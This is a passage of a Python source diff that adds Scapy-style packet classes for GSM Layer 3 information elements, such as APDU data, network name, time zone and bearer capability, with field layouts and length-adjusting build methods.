+    name = "Suspension Cause"
+    fields_desc = [
+             BitField("eightBitSC", None, 1),
+             XBitField("ieiSC", None, 7),
+             ByteField("suspVal", 0x0)
+             ]
+
+
+class ApduIDHdr(Packet):
+    """APDU Flags Section 10.5.2.48"""
+    name = "Apdu Id"
+    fields_desc = [
+             XBitField("ieiAI", None, 4),
+             BitField("id", None, 4)
+             ]
+
+
+class ApduFlagsHdr(Packet):
+    """APDU Flags Section 10.5.2.49"""
+    name = "Apdu Flags"
+    fields_desc = [
+             XBitField("iei", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("cr", 0x0, 1),
+             BitField("firstSeg", 0x0, 1),
+             BitField("lastSeg", 0x0, 1)
+             ]
+
+
+# Fix 1/2 len problem
+class ApduIDAndApduFlags(Packet):
+    name = "Apu Id and Apdu Flags"
+    fields_desc = [
+             BitField("id", None, 4),
+             BitField("spare", 0x0, 1),
+             BitField("cr", 0x0, 1),
+             BitField("firstSeg", 0x0, 1),
+             BitField("lastSeg", 0x0, 1)
+             ]
+
+
+# len 2 to max L3 (251) (done)
+class ApduDataHdr(Packet):
+    """APDU Data Section 10.5.2.50"""
+    name = "Apdu Data"
+    fields_desc = [
+             BitField("eightBitAD", None, 1),
+             XBitField("ieiAD", None, 7),
+             XByteField("lengthAD", None),
+             #optional
+             ByteField("apuInfo1", None),
+             ByteField("apuInfo2", None),
+             ByteField("apuInfo3", None),
+             ByteField("apuInfo4", None),
+             ByteField("apuInfo5", None),
+             ByteField("apuInfo6", None),
+             ByteField("apuInfo7", None),
+             ByteField("apuInfo8", None),
+             ByteField("apuInfo9", None),
+             ByteField("apuInfo10", None),
+             ByteField("apuInfo11", None),
+             ByteField("apuInfo12", None),
+             ByteField("apuInfo13", None),
+             ByteField("apuInfo14", None),
+             ByteField("apuInfo15", None),
+             ByteField("apuInfo16", None),
+             ByteField("apuInfo17", None),
+             ByteField("apuInfo18", None),
+             ByteField("apuInfo19", None),
+             ByteField("apuInfo20", None),
+             ByteField("apuInfo21", None),
+             ByteField("apuInfo22", None),
+             ByteField("apuInfo23", None),
+             ByteField("apuInfo24", None),
+             ByteField("apuInfo25", None),
+             ByteField("apuInfo26", None),
+             ByteField("apuInfo27", None),
+             ByteField("apuInfo28", None),
+             ByteField("apuInfo29", None),
+             ByteField("apuInfo30", None),
+             ByteField("apuInfo31", None),
+             ByteField("apuInfo32", None),
+             ByteField("apuInfo33", None),
+             ByteField("apuInfo34", None),
+             ByteField("apuInfo35", None),
+             ByteField("apuInfo36", None),
+             ByteField("apuInfo37", None),
+             ByteField("apuInfo38", None),
+             ByteField("apuInfo39", None),
+             ByteField("apuInfo40", None),
+             ByteField("apuInfo41", None),
+             ByteField("apuInfo42", None),
+             ByteField("apuInfo43", None),
+             ByteField("apuInfo44", None),
+             ByteField("apuInfo45", None),
+             ByteField("apuInfo46", None),
+             ByteField("apuInfo47", None),
+             ByteField("apuInfo48", None),
+             ByteField("apuInfo49", None),
+             ByteField("apuInfo50", None),
+             ByteField("apuInfo51", None),
+             ByteField("apuInfo52", None),
+             ByteField("apuInfo53", None),
+             ByteField("apuInfo54", None),
+             ByteField("apuInfo55", None),
+             ByteField("apuInfo56", None),
+             ByteField("apuInfo57", None),
+             ByteField("apuInfo58", None),
+             ByteField("apuInfo59", None),
+             ByteField("apuInfo60", None),
+             ByteField("apuInfo61", None),
+             ByteField("apuInfo62", None),
+             ByteField("apuInfo63", None),
+             ByteField("apuInfo64", None),
+             ByteField("apuInfo65", None),
+             ByteField("apuInfo66", None),
+             ByteField("apuInfo67", None),
+             ByteField("apuInfo68", None),
+             ByteField("apuInfo69", None),
+             ByteField("apuInfo70", None),
+             ByteField("apuInfo71", None),
+             ByteField("apuInfo72", None),
+             ByteField("apuInfo73", None),
+             ByteField("apuInfo74", None),
+             ByteField("apuInfo75", None),
+             ByteField("apuInfo76", None),
+             ByteField("apuInfo77", None),
+             ByteField("apuInfo78", None),
+             ByteField("apuInfo79", None),
+             ByteField("apuInfo80", None),
+             ByteField("apuInfo81", None),
+             ByteField("apuInfo82", None),
+             ByteField("apuInfo83", None),
+             ByteField("apuInfo84", None),
+             ByteField("apuInfo85", None),
+             ByteField("apuInfo86", None),
+             ByteField("apuInfo87", None),
+             ByteField("apuInfo88", None),
+             ByteField("apuInfo89", None),
+             ByteField("apuInfo90", None),
+             ByteField("apuInfo91", None),
+             ByteField("apuInfo92", None),
+             ByteField("apuInfo93", None),
+             ByteField("apuInfo94", None),
+             ByteField("apuInfo95", None),
+             ByteField("apuInfo96", None),
+             ByteField("apuInfo97", None),
+             ByteField("apuInfo98", None),
+             ByteField("apuInfo99", None),
+             ByteField("apuInfo100", None),
+             ByteField("apuInfo101", None),
+             ByteField("apuInfo102", None),
+             ByteField("apuInfo103", None),
+             ByteField("apuInfo104", None),
+             ByteField("apuInfo105", None),
+             ByteField("apuInfo106", None),
+             ByteField("apuInfo107", None),
+             ByteField("apuInfo108", None),
+             ByteField("apuInfo109", None),
+             ByteField("apuInfo110", None),
+             ByteField("apuInfo111", None),
+             ByteField("apuInfo112", None),
+             ByteField("apuInfo113", None),
+             ByteField("apuInfo114", None),
+             ByteField("apuInfo115", None),
+             ByteField("apuInfo116", None),
+             ByteField("apuInfo117", None),
+             ByteField("apuInfo118", None),
+             ByteField("apuInfo119", None),
+             ByteField("apuInfo120", None),
+             ByteField("apuInfo121", None),
+             ByteField("apuInfo122", None),
+             ByteField("apuInfo123", None),
+             ByteField("apuInfo124", None),
+             ByteField("apuInfo125", None),
+             ByteField("apuInfo126", None),
+             ByteField("apuInfo127", None),
+             ByteField("apuInfo128", None),
+             ByteField("apuInfo129", None),
+             ByteField("apuInfo130", None),
+             ByteField("apuInfo131", None),
+             ByteField("apuInfo132", None),
+             ByteField("apuInfo133", None),
+             ByteField("apuInfo134", None),
+             ByteField("apuInfo135", None),
+             ByteField("apuInfo136", None),
+             ByteField("apuInfo137", None),
+             ByteField("apuInfo138", None),
+             ByteField("apuInfo139", None),
+             ByteField("apuInfo140", None),
+             ByteField("apuInfo141", None),
+             ByteField("apuInfo142", None),
+             ByteField("apuInfo143", None),
+             ByteField("apuInfo144", None),
+             ByteField("apuInfo145", None),
+             ByteField("apuInfo146", None),
+             ByteField("apuInfo147", None),
+             ByteField("apuInfo148", None),
+             ByteField("apuInfo149", None),
+             ByteField("apuInfo150", None),
+             ByteField("apuInfo151", None),
+             ByteField("apuInfo152", None),
+             ByteField("apuInfo153", None),
+             ByteField("apuInfo154", None),
+             ByteField("apuInfo155", None),
+             ByteField("apuInfo156", None),
+             ByteField("apuInfo157", None),
+             ByteField("apuInfo158", None),
+             ByteField("apuInfo159", None),
+             ByteField("apuInfo160", None),
+             ByteField("apuInfo161", None),
+             ByteField("apuInfo162", None),
+             ByteField("apuInfo163", None),
+             ByteField("apuInfo164", None),
+             ByteField("apuInfo165", None),
+             ByteField("apuInfo166", None),
+             ByteField("apuInfo167", None),
+             ByteField("apuInfo168", None),
+             ByteField("apuInfo169", None),
+             ByteField("apuInfo170", None),
+             ByteField("apuInfo171", None),
+             ByteField("apuInfo172", None),
+             ByteField("apuInfo173", None),
+             ByteField("apuInfo174", None),
+             ByteField("apuInfo175", None),
+             ByteField("apuInfo176", None),
+             ByteField("apuInfo177", None),
+             ByteField("apuInfo178", None),
+             ByteField("apuInfo179", None),
+             ByteField("apuInfo180", None),
+             ByteField("apuInfo181", None),
+             ByteField("apuInfo182", None),
+             ByteField("apuInfo183", None),
+             ByteField("apuInfo184", None),
+             ByteField("apuInfo185", None),
+             ByteField("apuInfo186", None),
+             ByteField("apuInfo187", None),
+             ByteField("apuInfo188", None),
+             ByteField("apuInfo189", None),
+             ByteField("apuInfo190", None),
+             ByteField("apuInfo191", None),
+             ByteField("apuInfo192", None),
+             ByteField("apuInfo193", None),
+             ByteField("apuInfo194", None),
+             ByteField("apuInfo195", None),
+             ByteField("apuInfo196", None),
+             ByteField("apuInfo197", None),
+             ByteField("apuInfo198", None),
+             ByteField("apuInfo199", None),
+             ByteField("apuInfo200", None),
+             ByteField("apuInfo201", None),
+             ByteField("apuInfo202", None),
+             ByteField("apuInfo203", None),
+             ByteField("apuInfo204", None),
+             ByteField("apuInfo205", None),
+             ByteField("apuInfo206", None),
+             ByteField("apuInfo207", None),
+             ByteField("apuInfo208", None),
+             ByteField("apuInfo209", None),
+             ByteField("apuInfo210", None),
+             ByteField("apuInfo211", None),
+             ByteField("apuInfo212", None),
+             ByteField("apuInfo213", None),
+             ByteField("apuInfo214", None),
+             ByteField("apuInfo215", None),
+             ByteField("apuInfo216", None),
+             ByteField("apuInfo217", None),
+             ByteField("apuInfo218", None),
+             ByteField("apuInfo219", None),
+             ByteField("apuInfo220", None),
+             ByteField("apuInfo221", None),
+             ByteField("apuInfo222", None),
+             ByteField("apuInfo223", None),
+             ByteField("apuInfo224", None),
+             ByteField("apuInfo225", None),
+             ByteField("apuInfo226", None),
+             ByteField("apuInfo227", None),
+             ByteField("apuInfo228", None),
+             ByteField("apuInfo229", None),
+             ByteField("apuInfo230", None),
+             ByteField("apuInfo231", None),
+             ByteField("apuInfo232", None),
+             ByteField("apuInfo233", None),
+             ByteField("apuInfo234", None),
+             ByteField("apuInfo235", None),
+             ByteField("apuInfo236", None),
+             ByteField("apuInfo237", None),
+             ByteField("apuInfo238", None),
+             ByteField("apuInfo239", None),
+             ByteField("apuInfo240", None),
+             ByteField("apuInfo241", None),
+             ByteField("apuInfo242", None),
+             ByteField("apuInfo243", None),
+             ByteField("apuInfo244", None),
+             ByteField("apuInfo245", None),
+             ByteField("apuInfo246", None),
+             ByteField("apuInfo247", None),
+             ByteField("apuInfo248", None),
+             ByteField("apuInfo249", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 251, a, self.fields_desc)
+        if self.lengthAD is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+#
+# 10.5.3 Mobility management information elements
+#
+
+
+class AuthenticationParameterRAND(Packet):
+    """Authentication parameter RAND Section 10.5.3.1"""
+    name = "Authentication Parameter Rand"
+    fields_desc = [
+             ByteField("ieiAPR", None),
+             BitField("randValue", 0x0, 128)
+             ]
+
+
+class AuthenticationParameterSRES(Packet):
+    """Authentication parameter SRES Section 10.5.3.2"""
+    name = "Authentication Parameter Sres"
+    fields_desc = [
+             ByteField("ieiAPS", None),
+             BitField("sresValue", 0x0, 40)
+             ]
+
+
+class CmServiceType(Packet):
+    """CM service type Section 10.5.3.3"""
+    name = "CM Service Type"
+    fields_desc = [
+             XBitField("ieiCST", 0x0, 4),
+             BitField("serviceType", 0x0, 4)
+             ]
+
+
+class CmServiceTypeAndCiphKeySeqNr(Packet):
+    name = "CM Service Type and Cipher Key Sequence Number"
+    fields_desc = [
+             BitField("keySeq", 0x0, 3),
+             BitField("spare", 0x0, 1),
+             BitField("serviceType", 0x0, 4)
+             ]
+
+
+class IdentityType(Packet):
+    """Identity type Section 10.5.3.4"""
+    name = "Identity Type"
+    fields_desc = [
+             XBitField("ieiIT", 0x0, 4),
+             BitField("spare", 0x0, 1),
+             BitField("idType", 0x1, 3)
+             ]
+
+
+# Fix 1/2 len problem
+class IdentityTypeAndSpareHalfOctet(Packet):
+    name = "Identity Type and Spare Half Octet"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("idType", 0x1, 3),
+             BitField("spareHalfOctets", 0x0, 4)
+             ]
+
+
+class LocationUpdatingType(Packet):
+    """Location updating type  Section 10.5.3.5"""
+    name = "Location Updating Type"
+    fields_desc = [
+             XBitField("ieiLUT", 0x0, 4),
+             BitField("for", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("lut", 0x0, 2)
+             ]
+
+
+class LocationUpdatingTypeAndCiphKeySeqNr(Packet):
+    name = "Location Updating Type and Cipher Key Sequence Number"
+    fields_desc = [
+             BitField("for", 0x0, 1),
+             BitField("spare", 0x0, 1),
+             BitField("lut", 0x0, 2),
+             BitField("spare", 0x0, 1),
+             BitField("keySeq", 0x0, 3)
+             ]
+
+
+# len 3 to L3 max (251) (done)
+class NetworkNameHdr(Packet):
+    """Network Name Section 10.5.3.5a"""
+    name = "Network Name"
+    fields_desc = [
+             BitField("eightBitNN", None, 1),
+             XBitField("ieiNN", None, 7),
+
+             XByteField("lengthNN", None),
+
+             BitField("ext1", 0x1, 1),
+             BitField("codingScheme", 0x0, 3),
+             BitField("addCi", 0x0, 1),
+             BitField("nbSpare", 0x0, 3),
+             # optional
+             ByteField("txtString1", None),
+             ByteField("txtString2", None),
+             ByteField("txtString3", None),
+             ByteField("txtString4", None),
+             ByteField("txtString5", None),
+             ByteField("txtString6", None),
+             ByteField("txtString7", None),
+             ByteField("txtString8", None),
+             ByteField("txtString9", None),
+             ByteField("txtString10", None),
+             ByteField("txtString11", None),
+             ByteField("txtString12", None),
+             ByteField("txtString13", None),
+             ByteField("txtString14", None),
+             ByteField("txtString15", None),
+             ByteField("txtString16", None),
+             ByteField("txtString17", None),
+             ByteField("txtString18", None),
+             ByteField("txtString19", None),
+             ByteField("txtString20", None),
+             ByteField("txtString21", None),
+             ByteField("txtString22", None),
+             ByteField("txtString23", None),
+             ByteField("txtString24", None),
+             ByteField("txtString25", None),
+             ByteField("txtString26", None),
+             ByteField("txtString27", None),
+             ByteField("txtString28", None),
+             ByteField("txtString29", None),
+             ByteField("txtString30", None),
+             ByteField("txtString31", None),
+             ByteField("txtString32", None),
+             ByteField("txtString33", None),
+             ByteField("txtString34", None),
+             ByteField("txtString35", None),
+             ByteField("txtString36", None),
+             ByteField("txtString37", None),
+             ByteField("txtString38", None),
+             ByteField("txtString39", None),
+             ByteField("txtString40", None),
+             ByteField("txtString41", None),
+             ByteField("txtString42", None),
+             ByteField("txtString43", None),
+             ByteField("txtString44", None),
+             ByteField("txtString45", None),
+             ByteField("txtString46", None),
+             ByteField("txtString47", None),
+             ByteField("txtString48", None),
+             ByteField("txtString49", None),
+             ByteField("txtString50", None),
+             ByteField("txtString51", None),
+             ByteField("txtString52", None),
+             ByteField("txtString53", None),
+             ByteField("txtString54", None),
+             ByteField("txtString55", None),
+             ByteField("txtString56", None),
+             ByteField("txtString57", None),
+             ByteField("txtString58", None),
+             ByteField("txtString59", None),
+             ByteField("txtString60", None),
+             ByteField("txtString61", None),
+             ByteField("txtString62", None),
+             ByteField("txtString63", None),
+             ByteField("txtString64", None),
+             ByteField("txtString65", None),
+             ByteField("txtString66", None),
+             ByteField("txtString67", None),
+             ByteField("txtString68", None),
+             ByteField("txtString69", None),
+             ByteField("txtString70", None),
+             ByteField("txtString71", None),
+             ByteField("txtString72", None),
+             ByteField("txtString73", None),
+             ByteField("txtString74", None),
+             ByteField("txtString75", None),
+             ByteField("txtString76", None),
+             ByteField("txtString77", None),
+             ByteField("txtString78", None),
+             ByteField("txtString79", None),
+             ByteField("txtString80", None),
+             ByteField("txtString81", None),
+             ByteField("txtString82", None),
+             ByteField("txtString83", None),
+             ByteField("txtString84", None),
+             ByteField("txtString85", None),
+             ByteField("txtString86", None),
+             ByteField("txtString87", None),
+             ByteField("txtString88", None),
+             ByteField("txtString89", None),
+             ByteField("txtString90", None),
+             ByteField("txtString91", None),
+             ByteField("txtString92", None),
+             ByteField("txtString93", None),
+             ByteField("txtString94", None),
+             ByteField("txtString95", None),
+             ByteField("txtString96", None),
+             ByteField("txtString97", None),
+             ByteField("txtString98", None),
+             ByteField("txtString99", None),
+             ByteField("txtString100", None),
+             ByteField("txtString101", None),
+             ByteField("txtString102", None),
+             ByteField("txtString103", None),
+             ByteField("txtString104", None),
+             ByteField("txtString105", None),
+             ByteField("txtString106", None),
+             ByteField("txtString107", None),
+             ByteField("txtString108", None),
+             ByteField("txtString109", None),
+             ByteField("txtString110", None),
+             ByteField("txtString111", None),
+             ByteField("txtString112", None),
+             ByteField("txtString113", None),
+             ByteField("txtString114", None),
+             ByteField("txtString115", None),
+             ByteField("txtString116", None),
+             ByteField("txtString117", None),
+             ByteField("txtString118", None),
+             ByteField("txtString119", None),
+             ByteField("txtString120", None),
+             ByteField("txtString121", None),
+             ByteField("txtString122", None),
+             ByteField("txtString123", None),
+             ByteField("txtString124", None),
+             ByteField("txtString125", None),
+             ByteField("txtString126", None),
+             ByteField("txtString127", None),
+             ByteField("txtString128", None),
+             ByteField("txtString129", None),
+             ByteField("txtString130", None),
+             ByteField("txtString131", None),
+             ByteField("txtString132", None),
+             ByteField("txtString133", None),
+             ByteField("txtString134", None),
+             ByteField("txtString135", None),
+             ByteField("txtString136", None),
+             ByteField("txtString137", None),
+             ByteField("txtString138", None),
+             ByteField("txtString139", None),
+             ByteField("txtString140", None),
+             ByteField("txtString141", None),
+             ByteField("txtString142", None),
+             ByteField("txtString143", None),
+             ByteField("txtString144", None),
+             ByteField("txtString145", None),
+             ByteField("txtString146", None),
+             ByteField("txtString147", None),
+             ByteField("txtString148", None),
+             ByteField("txtString149", None),
+             ByteField("txtString150", None),
+             ByteField("txtString151", None),
+             ByteField("txtString152", None),
+             ByteField("txtString153", None),
+             ByteField("txtString154", None),
+             ByteField("txtString155", None),
+             ByteField("txtString156", None),
+             ByteField("txtString157", None),
+             ByteField("txtString158", None),
+             ByteField("txtString159", None),
+             ByteField("txtString160", None),
+             ByteField("txtString161", None),
+             ByteField("txtString162", None),
+             ByteField("txtString163", None),
+             ByteField("txtString164", None),
+             ByteField("txtString165", None),
+             ByteField("txtString166", None),
+             ByteField("txtString167", None),
+             ByteField("txtString168", None),
+             ByteField("txtString169", None),
+             ByteField("txtString170", None),
+             ByteField("txtString171", None),
+             ByteField("txtString172", None),
+             ByteField("txtString173", None),
+             ByteField("txtString174", None),
+             ByteField("txtString175", None),
+             ByteField("txtString176", None),
+             ByteField("txtString177", None),
+             ByteField("txtString178", None),
+             ByteField("txtString179", None),
+             ByteField("txtString180", None),
+             ByteField("txtString181", None),
+             ByteField("txtString182", None),
+             ByteField("txtString183", None),
+             ByteField("txtString184", None),
+             ByteField("txtString185", None),
+             ByteField("txtString186", None),
+             ByteField("txtString187", None),
+             ByteField("txtString188", None),
+             ByteField("txtString189", None),
+             ByteField("txtString190", None),
+             ByteField("txtString191", None),
+             ByteField("txtString192", None),
+             ByteField("txtString193", None),
+             ByteField("txtString194", None),
+             ByteField("txtString195", None),
+             ByteField("txtString196", None),
+             ByteField("txtString197", None),
+             ByteField("txtString198", None),
+             ByteField("txtString199", None),
+             ByteField("txtString200", None),
+             ByteField("txtString201", None),
+             ByteField("txtString202", None),
+             ByteField("txtString203", None),
+             ByteField("txtString204", None),
+             ByteField("txtString205", None),
+             ByteField("txtString206", None),
+             ByteField("txtString207", None),
+             ByteField("txtString208", None),
+             ByteField("txtString209", None),
+             ByteField("txtString210", None),
+             ByteField("txtString211", None),
+             ByteField("txtString212", None),
+             ByteField("txtString213", None),
+             ByteField("txtString214", None),
+             ByteField("txtString215", None),
+             ByteField("txtString216", None),
+             ByteField("txtString217", None),
+             ByteField("txtString218", None),
+             ByteField("txtString219", None),
+             ByteField("txtString220", None),
+             ByteField("txtString221", None),
+             ByteField("txtString222", None),
+             ByteField("txtString223", None),
+             ByteField("txtString224", None),
+             ByteField("txtString225", None),
+             ByteField("txtString226", None),
+             ByteField("txtString227", None),
+             ByteField("txtString228", None),
+             ByteField("txtString229", None),
+             ByteField("txtString230", None),
+             ByteField("txtString231", None),
+             ByteField("txtString232", None),
+             ByteField("txtString233", None),
+             ByteField("txtString234", None),
+             ByteField("txtString235", None),
+             ByteField("txtString236", None),
+             ByteField("txtString237", None),
+             ByteField("txtString238", None),
+             ByteField("txtString239", None),
+             ByteField("txtString240", None),
+             ByteField("txtString241", None),
+             ByteField("txtString242", None),
+             ByteField("txtString243", None),
+             ByteField("txtString244", None),
+             ByteField("txtString245", None),
+             ByteField("txtString246", None),
+             ByteField("txtString247", None),
+             ByteField("txtString248", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 251, a, self.fields_desc)
+        if self.lengthNN is None:
+            p = p[:1] + struct.pack(">B", res[1]) + p[2:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class RejectCause(Packet):
+    """Reject cause Section 10.5.3.6"""
+    name = "Reject Cause"
+    fields_desc = [
+             ByteField("ieiRC", 0x0),
+             ByteField("rejCause", 0x0)
+             ]
+
+
+class FollowOnProceed(Packet):
+    """Follow-on Proceed Section 10.5.3.7"""
+    name = "Follow-on Proceed"
+    fields_desc = [
+             ByteField("ieiFOP", 0x0),
+             ]
+
+
+class TimeZoneHdr(Packet):
+    """Time Zone  Section 10.5.3.8"""
+    name = "Time Zone"
+    fields_desc = [
+             BitField("eightBitTZ", None, 1),
+             XBitField("ieiTZ", None, 7),
+             ByteField("timeZone", 0x0),
+             ]
+
+
+class TimeZoneAndTimeHdr(Packet):
+    """Time Zone and Time Section 10.5.3.9"""
+    name = "Time Zone and Time"
+    fields_desc = [
+             BitField("eightBitTZAT", None, 1),
+             XBitField("ieiTZAT", None, 7),
+             ByteField("year", 0x0),
+             ByteField("month", 0x0),
+             ByteField("day", 0x0),
+             ByteField("hour", 0x0),
+             ByteField("minute", 0x0),
+             ByteField("second", 0x0),
+             ByteField("timeZone", 0x0)
+             ]
+
+
+class CtsPermissionHdr(Packet):
+    """CTS permission Section 10.5.3.10"""
+    name = "Cts Permission"
+    fields_desc = [
+             BitField("eightBitCP", None, 1),
+             XBitField("ieiCP", None, 7),
+             ]
+
+
+class LsaIdentifierHdr(Packet):
+    """LSA Identifier Section 10.5.3.11"""
+    name = "Lsa Identifier"
+    fields_desc = [
+             BitField("eightBitLI", None, 1),
+             XBitField("ieiLI", None, 7),
+             ByteField("lsaID", 0x0),
+             ByteField("lsaID1", 0x0),
+             ByteField("lsaID2", 0x0)
+             ]
+
+
+#
+# 10.5.4 Call control information elements
+#
+
+#10.5.4.1 Extensions of codesets
+# This is only text and no  packet
+
+class LockingShiftProcedureHdr(Packet):
+    """Locking shift procedure Section 10.5.4.2"""
+    name = "Locking Shift Procedure"
+    fields_desc = [
+             XBitField("ieiLSP", None, 4),
+             BitField("lockShift", 0x0, 1),
+             BitField("codesetId", 0x0, 3)
+             ]
+
+
+class NonLockingShiftProcedureHdr(Packet):
+    """Non-locking shift procedure Section 10.5.4.3"""
+    name = "Non-locking Shift Procedure"
+    fields_desc = [
+             XBitField("ieiNLSP", None, 4),
+             BitField("nonLockShift", 0x1, 1),
+             BitField("codesetId", 0x0, 3)
+             ]
+
+
+class AuxiliaryStatesHdr(Packet):
+    """Auxiliary states Section 10.5.4.4"""
+    name = "Auxiliary States"
+    fields_desc = [
+             BitField("eightBitAS", None, 1),
+             XBitField("ieiAS", None, 7),
+             XByteField("lengthAS", 0x3),
+             BitField("ext", 0x1, 1),
+             BitField("spare", 0x0, 3),
+             BitField("holdState", 0x0, 2),
+             BitField("mptyState", 0x0, 2)
+             ]
+
+
+# len 3 to 15
+class BearerCapabilityHdr(Packet):
+    """Bearer capability Section 10.5.4.5"""
+    name = "Bearer Capability"
+    fields_desc = [
+             BitField("eightBitBC", None, 1),
+             XBitField("ieiBC", None, 7),
+
+             XByteField("lengthBC", None),
+
+             BitField("ext0", 0x1, 1),
+             BitField("radioChReq", 0x1, 2),
+             BitField("codingStd", 0x0, 1),
+             BitField("transMode", 0x0, 1),
+             BitField("infoTransCa", 0x0, 3),
+             # optional
+             ConditionalField(BitField("ext1", 0x1, 1),
+                                       lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("coding", None, 1),
+                                       lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("spare", None, 2),
+                                       lambda pkt: pkt.ext0 == 0),
+             ConditionalField(BitField("speechVers", 0x0, 4),
+                                       lambda pkt: pkt.ext0 == 0),
+
+             ConditionalField(BitField("ext2", 0x1, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("compress", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("structure", None, 2),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("dupMode", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("config", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("nirr", None, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+             ConditionalField(BitField("establi", 0x0, 1),
+                                       lambda pkt: pkt.ext1 == 0),
+
+             BitField("ext3", None, 1),
+             BitField("accessId", None, 2),
+             BitField("rateAda", None, 2),
+             BitField("signaling", None, 3),
+
+             ConditionalField(BitField("ext4", None, 1),
+                                       lambda pkt: pkt.ext3 == 0),
+             ConditionalField(BitField("otherITC", None, 2),
+                                       lambda pkt: pkt.ext3 == 0),
+             ConditionalField(BitField("otherRate", None, 2),
+                                       lambda pkt: pkt.ext3 == 0),
+             ConditionalField(BitField("spare1", 0x0, 3),
+                                       lambda pkt: pkt.ext3 == 0),
+
+             ConditionalField(BitField("ext5", 0x1, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("hdr", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("multiFr", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("mode", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("lli", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("assig", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("inbNeg", None, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+             ConditionalField(BitField("spare2", 0x0, 1),
+                                       lambda pkt: pkt.ext4 == 0),
+
+             BitField("ext6", None, 1),
+             BitField("layer1Id", None, 2),
+             BitField("userInf", None, 4),
+             BitField("sync", None, 1),
+
+             ConditionalField(BitField("ext7", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("stopBit", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("negoc", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("nbDataBit", None, 1),
+                                       lambda pkt: pkt.ext6 == 0),
+             ConditionalField(BitField("userRate", None, 4),
+                                       lambda pkt: pkt.ext6 == 0),
+
+             ConditionalField(BitField("ext8", None, 1),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("interRate", None, 2),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("nicTX", None, 1),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("nicRX", None, 1),
+                                       lambda pkt: pkt.ext7 == 0),
+             ConditionalField(BitField("parity", None, 3),
+                                       lambda pkt: pkt.ext7 == 0),
+
+             ConditionalField(BitField("ext9", None, 1),
+                                       lambda pkt: pkt.ext8 == 0),
+             ConditionalField(BitField("connEle", None, 2),
+                                       lambda pkt: pkt.ext8 == 0),
+             ConditionalField(BitField("modemType", None, 5),
+                                       lambda pkt: pkt.ext8 == 0),
+
+             ConditionalField(BitField("ext10", None, 1),
+                                       lambda pkt: pkt.ext9 == 0),
+             ConditionalField(BitField("otherModemType", None, 2),
+                                       lambda pkt: pkt.ext9 == 0),
+             ConditionalField(BitField("netUserRate", None, 5),
+                                       lambda pkt: pkt.ext9 == 0),
+
+             ConditionalField(BitField("ext11", None, 1),
+                                       lambda pkt: pkt.ext10 == 0),
+             ConditionalField(BitField("chanCoding", None, 4),
+                                       lambda pkt: pkt.ext10 == 0),
+             ConditionalField(BitField("maxTrafficChan", None, 3),
+                                       lambda pkt: pkt.ext10 == 0),
+
+             ConditionalField(BitField("ext12", None, 1),
+                                       lambda pkt: pkt.ext11 == 0),
+             ConditionalField(BitField("uimi", None, 3),
+                                       lambda pkt: pkt.ext11 == 0),
+             ConditionalField(BitField("airInterfaceUserRate", None, 4),
+                                       lambda pkt: pkt.ext11 == 0),
+
+             ConditionalField(BitField("ext13", 0x1, 1),
+                                       lambda pkt: pkt.ext12 == 0),
+             ConditionalField(BitField("layer2Ch", None, 2),
+                                       lambda pkt: pkt.ext12 == 0),
+             ConditionalField(BitField("userInfoL2", 0x0, 5),
+                                       lambda pkt: pkt.ext12 == 0)
+             ]
+
+    # We have a bug here. packet is not working if used in message
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(3, 15, a, self.fields_desc)
+        if res[0] != 0:
+            p = p[:-res[0]]
+        # avoids a bug. find better way
+        if len(p) is 5:
+            p = p[:-2]
+        if self.lengthBC is None:
+            p = p[:1] + struct.pack(">B", len(p)-3) + p[2:]
+        return p + pay
+
+
+class CallControlCapabilitiesHdr(Packet):
+    """Call Control Capabilities Section 10.5.4.5a"""
+    name = "Call Control Capabilities"
+    fields_desc = [
+             BitField("eightBitCCC", None, 1),
+             XBitField("ieiCCC", None, 7),
+             XByteField("lengthCCC", 0x3),
+             BitField("spare", 0x0, 6),
+             BitField("pcp", 0x0, 1),
+             BitField("dtmf", 0x0, 1)
+             ]
+
+
+class CallStateHdr(Packet):
+    """Call State Section 10.5.4.6"""
+    name = "Call State"
+    fields_desc = [
+             BitField("eightBitCS", None, 1),
+             XBitField("ieiCS", None, 7),
+             BitField("codingStd", 0x0, 2),
+             BitField("stateValue", 0x0, 6)
+             ]
+
+
+# len 3 to 43
+class CalledPartyBcdNumberHdr(Packet):
+    """Called party BCD number Section 10.5.4.7"""
+    name = "Called Party BCD Number"
+    fields_desc = [
+             BitField("eightBitCPBN", None, 1),
